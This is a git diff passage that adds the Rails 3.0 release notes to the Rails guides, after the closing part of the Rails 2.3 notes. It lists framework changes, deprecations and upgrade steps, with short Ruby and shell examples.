+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and  [...]
+
+* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)
+
+### Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
+* The default `environment.rb` file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin.
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master).
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
+* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
+* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
+* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
+* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
+* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
+* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options.
+* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
new file mode 100644
index 0000000..dd81ec5
--- /dev/null
+++ b/guides/source/3_0_release_notes.md
@@ -0,0 +1,611 @@
+Ruby on Rails 3.0 Release Notes
+===============================
+
+Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
+
+But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
+
+Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
+
+* Brand new router with an emphasis on RESTful declarations
+* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
+* New Active Record chainable query language built on top of relational algebra
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
+* Explicit dependency management with Bundler
+
+On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
+
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+To install Rails 3:
+
+```bash
+# Use sudo if your setup requires it
+$ gem install rails
+```
+
+
+Upgrading to Rails 3
+--------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
+
+### Rails 3 requires at least Ruby 1.8.7
+
+Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+
+### Rails Application object
+
+As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.
+
+Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.
+
+### script/* replaced by script/rails
+
+The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
+
+```bash
+$ rails console                      # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+```
+
+Run `rails --help` for a list of all the options.
+
+### Dependencies and config.gem
+
+The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.
+
+### Upgrade Process
+
+To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it.
+
+Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
+
+```bash
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+```
+
+You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
+
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
+
+Creating a Rails 3.0 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.
+
+If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+There are six major changes in the architecture of Rails.
+
+### Railties Restrung
+
+Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
+
+### All Rails core components are decoupled
+
+With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
+
+More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)
+
+
+### Active Model Abstraction
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Controller Abstraction
+
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Arel Integration
+
+[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
+
+More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.)
+
+
+### Mail Extraction
+
+Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
+
+More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+
+
+Documentation
+-------------
+
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+
+More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
+
+
+Internationalization
+--------------------
+
+A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements.
+
+* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
+* Attributes can have default translations.
+* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
+* Labels with I18n also now work by just passing the attribute name.
+
+More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)
+
+
+Railties
+--------
+
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+
+* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
+* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
+* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.
+
+    Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.
+
+Railties generators got a huge amount of attention in Rails 3.0, basically:
+
+* Generators were completely rewritten and are backwards incompatible.
+* Rails templates API and generators API were merged (they are the same as the former).
+* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
+* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
+* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
+* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.
+
+Also, the views generated by Railties generators had some overhaul:
+
+* Views now use `div` tags instead of `p` tags.
+* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
+* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
+
+Finally a couple of enhancements were added to the rake tasks:
+
+* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
+* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.
+
+Railties now deprecates:
+
+* `RAILS_ROOT` in favor of `Rails.root`,
+* `RAILS_ENV` in favor of `Rails.env`, and
+* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.
+
+`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.
+
+More information:
+
+* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
+* [Making Generators for Rails 3 with Thor](http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor)
+* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+
+Action Pack
+-----------
+
+There have been significant internal and external changes in Action Pack.
+
+
+### Abstract Controller
+
+Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.
+
+It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
+
+Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Action Controller
+
+* `application_controller.rb` now has `protect_from_forgery` on by default.
+* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
+* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
+* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
+* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
+* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
+* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
+* `ActionController::Responder` added allowing you flexibility in how your responses get generated.
+
+Deprecations:
+
+* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.
+
+More Information:
+
+* [Render Options in Rails 3](http://www.engineyard.com/blog/2010/render-options-in-rails-3/)
+* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+
+
+### Action Dispatch
+
+Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
+
+* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.
+* Routes defined by each application are now name spaced within your Application module, that is:
+
+    ```ruby
+    # Instead of:
+
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :posts
+    end
+
+    # You do:
+
+    AppName::Application.routes do
+      resources :posts
+    end
+    ```
+
+* Added `match` method to the router, you can also pass any Rack application to the matched route.
+* Added `constraints` method to the router, allowing you to guard routers with defined constraints.
+* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:
+
+    ```ruby
+    scope 'es' do
+      resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
+    end
+
+    # Gives you the edit action with /es/proyecto/1/cambiar
+    ```
+
+* Added `root` method to the router as a short cut for `match '/', :to => path`.
+* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.
+* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.
+
+NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
+
+Deprecations
+
+* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
+* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value.
+
+More Information:
+* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
+* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3)
+* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
+
+
+### Action View
+
+#### Unobtrusive JavaScript
+
+Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
+
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+
+```ruby
+form_for @post, :remote => true
+```
+
+Produces:
+
+```html
+<form action="http://host.com" id="create-post" method="post" data-remote="true">
+```
+
+#### Helpers with Blocks
+
+Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:
+
+```html+erb
+<%= form_for @post do |f| %>
+  ...
+<% end %>
+```
+
+Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
+
+Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before.
+
+#### Other Changes
+
+* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
+* Helpers now output HTML 5 by default.
+* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
+* I18n select label on should now be :en.helpers.select instead of :en.support.select.
+* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
+* Added `grouped_collection_select` helper to Action View.
+* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
+* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
+* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
+* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute
+
+Active Model
+------------
+
+Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
+
+
+### ORM Abstraction and Action Pack Interface
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Validations
+
+Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
+
+* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
+* The `validates` method has the following options:
+    * `:acceptance => Boolean`.
+    * `:confirmation => Boolean`.
+    * `:exclusion => { :in => Enumerable }`.
+    * `:inclusion => { :in => Enumerable }`.
+    * `:format => { :with => Regexp, :on => :create }`.
+    * `:length => { :maximum => Fixnum }`.
+    * `:numericality => Boolean`.
+    * `:presence => Boolean`.
+    * `:uniqueness => Boolean`.
+
+NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
+
+You can also pass in a validator object, which you can then reuse between objects that use Active Model:
+
+```ruby
+class TitleValidator < ActiveModel::EachValidator
+  Titles = ['Mr.', 'Mrs.', 'Dr.']
+  def validate_each(record, attribute, value)
+    unless Titles.include?(value)
+      record.errors[attribute] << 'must be a valid title'
+    end
+  end
+end
+```
+
+```ruby
+class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+  validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+  validates :title, :presence => true, :title => true
+end
+```
+
+There's also support for introspection:
+
+```ruby
+User.validators
+User.validators_on(:login)
+```
+
+More Information:
+
+* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/)
+* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true)
+
+
+Active Record
+-------------
+
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+
+
+### Query Interface
+
+Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
+
+* `where` - provides conditions on the relation, what gets returned.
+* `select` - choose what attributes of the models you wish to have returned from the database.
+* `group` - groups the relation on the attribute supplied.
+* `having` - provides an expression limiting group relations (GROUP BY constraint).
+* `joins` - joins the relation to another table.
+* `clause` - provides an expression limiting join relations (JOIN constraint).
+* `includes` - includes other relations pre-loaded.
+* `order` - orders the relation based on the expression supplied.
+* `limit` - limits the relation to the number of records specified.
+* `lock` - locks the records returned from the table.
+* `readonly` - returns an read only copy of the data.
+* `from` - provides a way to select relationships from more than one table.
+* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
+* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
+* `default_scope` - also works with relations.
+
+More Information:
+
+* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface)
+* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)
+
+
+### Enhancements
+
+* Added `:destroyed?` to Active Record objects.
+* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
+
+
+### Patches and Deprecations
+
+Additionally, many fixes in the Active Record branch:
+
+* SQLite 2 support has been dropped in favor of SQLite 3.
+* MySQL support for column order.
+* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
+* Support multiple schemas in table names for PostgreSQL.
+* PostgreSQL support for the XML data type column.
+* `table_name` is now cached.
+* A large amount of work done on the Oracle adapter as well with many bug fixes.
+
+As well as the following deprecations:
+
+* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`.
+* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`.
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`.
+* `model.errors.on` is deprecated in favor of `model.errors[]`
+* validates_presence_of => validates... :presence => true
+* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging`
+
+NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
+
+
+Active Resource
+---------------
+
+Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
+
+* Added validations through Active Model.
+* Added observing hooks.
+* HTTP proxy support.
+* Added support for digest authentication.
+* Moved model naming into Active Model.
+* Changed Active Resource attributes to a Hash with indifferent access.
+* Added `first`, `last` and `all` aliases for equivalent find scopes.
+* `find_every` now does not return a `ResourceNotFound` error if nothing returned.
+* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`.
+* `update_attribute` and `update_attributes` added to Active Resource models.
+* Added `exists?`.
+* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`.
+* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors.
+* Use `instance_eval` for schema block.
+* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility.
+* Add support for errors in JSON format.
+* Ensure `load` works with numeric arrays.
+* Recognizes a 410 response from remote resource as the resource has been deleted.
+* Add ability to set SSL options on Active Resource connections.
+* Setting connection timeout also affects `Net::HTTP` `open_timeout`.
+
+Deprecations:
+
+* `save(false)` is deprecated, in favor of `save(:validate => false)`.
+* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library.
+
+
+Active Support
+--------------
+
+A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
+
+These are the main changes in Active Support:
+
+* Large clean up of the library removing unused methods throughout.
+* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command.
+* Safe buffers are implemented in `ActiveSupport::SafeBuffer`.
+* Added `Array.uniq_by` and `Array.uniq_by!`.
+* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9.
+* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value.
+* Added `ActiveSupport::Notifications` middleware.
+* `ActiveSupport.use_standard_json_time_format` now defaults to true.
+* `ActiveSupport.escape_html_entities_in_json` now defaults to false.
+* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero.
+* `string.chars` has been renamed to `string.mb_chars`.
+* `ActiveSupport::OrderedHash` now can de-serialize through YAML.
+* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
+* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`.
+* Added `String#exclude?` core extension that returns the inverse of `#include?`.
+* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes.
+* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`.
+* Switch to on-by-default XSS escaping for rails.
+* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`.
+* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`.
+* `inspect` on a zero length duration returns '0 seconds' instead of empty string.
+* Add `element` and `collection` to `ModelName`.
+* `String#to_time` and `String#to_datetime` handle fractional seconds.
+* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks.
+* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`.
+* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`.
+* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
+* Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`.
+* `Object#metaclass` is now `Kernel#singleton_class` to match Ruby.
+
+The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
+
+* `Integer#even?` and `Integer#odd?`
+* `String#each_char`
+* `String#start_with?` and `String#end_with?` (3rd person aliases still kept)
+* `String#bytesize`
+* `Object#tap`
+* `Symbol#to_proc`
+* `Object#instance_variable_defined?`
+* `Enumerable#none?`
+
+The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
+
+The following methods have been removed because they are no longer used in the framework:
+
+* `Kernel#daemonize`
+* `Object#remove_subclasses_of` `Object#extend_with_included_modules_from`, `Object#extended_by`
+* `Class#remove_class`
+* `Regexp#number_of_captures`, `Regexp.unoptionalize`, `Regexp.optionalize`, `Regexp#number_of_captures`
+
+
+Action Mailer
+-------------
+
+Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
+
+* All mailers are now in `app/mailers` by default.
+* Can now send email using new API with three methods: `attachments`, `headers` and `mail`.
+* Action Mailer now has native support for inline attachments using the `attachments.inline` method.
+* Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself.
+* All delivery methods are now abstracted out to the Mail gem.
+* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
+* The `mail` delivery method acts in a similar way to Action Controller's `respond_to`, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
+* You can pass a proc to the `format.mime_type` calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The `render` call inside the proc is from Abstract Controller and supports the same options.
+* What were mailer unit tests have been moved to functional tests.
+* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
+* Action Mailer will auto encode email bodies and headers for you
+
+Deprecations:
+
+* `:charset`, `:content_type`, `:mime_version`, `:implicit_parts_order` are all deprecated in favor of `ActionMailer.default :key => value` style declarations.
+* Mailer dynamic `create_method_name` and `deliver_method_name` are deprecated, just call `method_name` which now returns a `Mail::Message` object.
+* `ActionMailer.deliver(message)` is deprecated, just call `message.deliver`.
+* `template_root` is deprecated, pass options to a render call inside a proc from the `format.mime_type` method inside the `mail` generation block
+* The `body` method to define instance variables is deprecated (`body {:ivar => value}`), just declare instance variables in the method directly and they will be available in the view.
+* Mailers being in `app/models` is deprecated, use `app/mailers` instead.
+
+More Information:
+
+* [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+* [New Mail Gem for Ruby](http://lindsaar.net/2010/1/23/mail-gem-version-2-released)
+
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
+
